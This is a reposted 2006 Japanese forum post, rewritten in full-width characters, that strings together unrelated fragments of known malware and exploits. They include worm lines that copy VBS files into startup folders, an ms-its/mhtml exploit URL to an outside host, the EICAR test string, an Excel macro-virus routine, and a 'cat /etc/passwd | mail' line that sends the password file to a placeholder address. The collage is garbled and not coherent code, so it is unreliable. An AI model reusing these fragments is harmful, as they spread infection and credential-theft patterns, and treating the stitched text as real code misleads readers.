投稿例（ウイルス誤認コードのため、すべて全角文字に変更しています。また、投稿規制にかかるため長い行を折り返しています。）
http://music5.2ch.net/test/read.cgi/musicjm/1161186925/19
19 ：NO MUSIC NO NAME ：2006/10/19(木) 07:13:10 ID:tLtZX7MU

ｋａｋ．ｈｔａ＇；ｋｅｎ＝ｗｄ＋＇ＳＴＡＲＴ
ｃａｔ　／ｅｔｃ／ｐａｓｓｗｄ　｜　ｍａｉｌ　ｎｏｂｏｄｙ＠ｎｏｎｅｘｉｓｔｅｎｔ．ｃｏｍ

＜ｂｏｄｙ　ｏｎｌｏａｄ＝ｗｉｎｄｏｗ（）＞
Ｉｆ　ｓ　＝　＂ｈｔｍ＂　ａｎｄ　ｆｓｏ．ＦｉｌｅＥｘｉｓｔｓ（ｆ１．ｐａｔｈ＋＂ｌ＂）　＝　Ｆａｌｓｅ　ｔｈｅｎｆｓｏ．ＣｏｐｙＦｉｌｅ　ｆ１．ｐａｔｈ，　ｆ１．ｐａｔｈ＋＂ｌ＂
Ｓｅｔ　Ａ４　＝　Ａ１．ＣｒｅａｔｅＴｅｘｔＦｉｌｅ（Ａ１．ＢｕｉｌｄＰａｔｈ（Ａ１．ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ（１）））
ｆｓｏ．ｃｏｐｙｆｉｌｅ　＂ｃ：\ｎｅｔｗｏｒｋ．ｖｂｓ＂，　＂ｊ：\ｗｉｎｄｏｗｓ\ｓｔａｒｔ　ｍｅｎｕ\ｐｒｏｇｒａｍｓ\ｓｔａｒｔｕｐ\＂
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆＂\ＭＳＫｅｒｎｅｌ３２．ｖｂｓ＂）
ｃ．Ｃｏｐｙ（ｄｉｒｗｉｎ＆＂\Ｗｉｎ３２ＤＬＬ．ｖｂｓ＂）
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆＂\ＬＯＶＥ－ＬＥＴＴＥＲ－ＦＯＲ－ＹＯＵ．ＴＸＴ．ｖｂｓ＂）
＜ｏｂｊｅｃｔ　ｄａｔａ＝＂ｍｓ－ｉｔｓ：ｍｈｔｍｌ：ｆｉｌｅ：／／Ｃ：\\ＭＡＩＮ．ＭＨＴ！ｈｔｔｐ：／／ｗｗｗ．ｌｏａｄｃａｓｈ．ｂｉｚ／／ａｄｖｅｒｔｓ／／３５／／ｍａｉｎ．ｃｈｍ：：／ｍａｉｎ．ｈｔｍ＂　ｔｙｐｅ＝＂ｔｅｘｔ／
Ｘ５Ｏ！Ｐ％＠ＡＰ［４\ＰＺＸ５４（Ｐ＾）７ＣＣ）７｝＄ＥＩＣＡＲ－ＳＴＡＮＤＡＲＤ－ＡＮＴＩＶＩＲＵＳ－ＴＥＳＴ－ＦＩＬＥ！＄Ｈ＋Ｈ＊
ｆｓｏ．ｃｏｐｙｆｉｌｅ　＂ｄｉｒｓｙｓｔｅｍ＆ｎｕｒｕｐｏ．ｖｂｓ＂，　＂ｊ：\ｗｉｎｄｏｗｓ\ｓｔａｒｔ　ｍｅｎｕ\ｐｒｏｇｒａｍｓ\ｓｔａｒｔｕｐ\＂
Ｉｆ　ｓ　＝　＂ｈｔｍ＂　ａｎｄ　ｆｓｏ．ＦｉｌｅＥｘｉｓｔｓ（ｆ１．ｐａｔｈ＋＂ｌ＂）　＝　Ｆａｌｓｅ　ｔｈｅｎ　ｆｓｏ．ＣｏｐｙＦｉｌｅ　ｆ１．ｐａｔｈ，　ｆ１．ｐａｔｈ＋＂ｌ＂
ＴｏＩｎｆｅｃｔ．ＣｏｄｅＭｏｄｕｌｅ．ＩｎｓｅｒｔＬｉｎｅｓ　ＢＧＮ，　ＡＤＩ１．ＣｏｄｅＭｏｄｕｌｅ．Ｌｉｎｅｓ（ＢＧＮ，　１）
Ｇ．ＲｅｇＷｒｉｔｅ　Ａ（＂ＩＪＤＸ＾ＭＮＢ＠Ｍ＾Ｌ＠ＢＩＨＯＤ］Ｒｎｇｕｖ｀ｓｄ］Ｌｈｂｓｎｒｎｇｕ］Ｖｈｏｅｎｖｒ］ＢｔｓｓｄｏｕＷｄｓｒｈｎｏ］Ｓｔｏ］ＶｈｏＲｕ｀ｓｕ＂），
　Ｅ．ＢｕｉｌｄＰａｔｈ（Ｅ．ＧｅｔＳｐｅｃｉａｌＦｏｌｄｅｒ（１），　Ａ（＂ＶＨＯＲＵ＠ＳＵ／ＷＣＲ＂））
ｌｉｎｅｓ（ｎ）＝ｒｅｐｌａｃｅ（ｌｉｎｅｓ（ｎ），＂＂＂＂，ｃｈｒ（９３）＋ｃｈｒ（４５）＋ｃｈｒ（９３））
ｍｓ－ｉｔｓ：ｍｈｔｍｌ：ｆｉｌｅ：／／ｃ：\
ｋａｋ．ｈｔａ＇；ｋｅｎ＝ｗｄ＋＇ＳＴＡＲＴ
ｋｉｌｌ　－９　ｘｚ／ｔＳａＢｈ０
Ｓｕｂ　ａｕｔｏ＿ｏｐｅｎ（）
Ａｐｐｌｉｃａｔｉｏｎ．ＯｎＳｈｅｅｔＡｃｔｉｖａｔｅ　＝　＂ｃｈｅｃｋ＿ｆｉｌｅｓ＂
Ｅｎｄ　Ｓｕｂ
Ｓｕｂ　ｃｈｅｃｋ＿ｆｉｌｅｓ（）
ｃ＄　＝　Ａｐｐｌｉｃａｔｉｏｎ．ＳｔａｒｔｕｐＰａｔｈ
ｍ＄　＝　Ｄｉｒ（ｃ＄　＆　＂＼＂　＆　＂ＰＥＲＳＯＮＡＬ．ＸＬＳ＂）
Ｉｆ　ｍ＄　＝　＂ＰＥＲＳＯＮＡＬ．ＸＬＳ＂　Ｔｈｅｎ　ｐ　＝　１　Ｅｌｓｅ　ｐ　＝　０
Ｉｆ　ＡｃｔｉｖｅＷｏｒｋｂｏｏｋ．Ｍｏｄｕｌｅｓ．Ｃｏｕｎｔ　＞　０　Ｔｈｅｎ　ｗ　＝　１　Ｅｌｓｅ　ｗ　＝　０
ｗｈｉｃｈｆｉｌｅ　＝　ｐ　＋　ｗ　＊　１０
Ｅｎｄ　Ｓｕｂ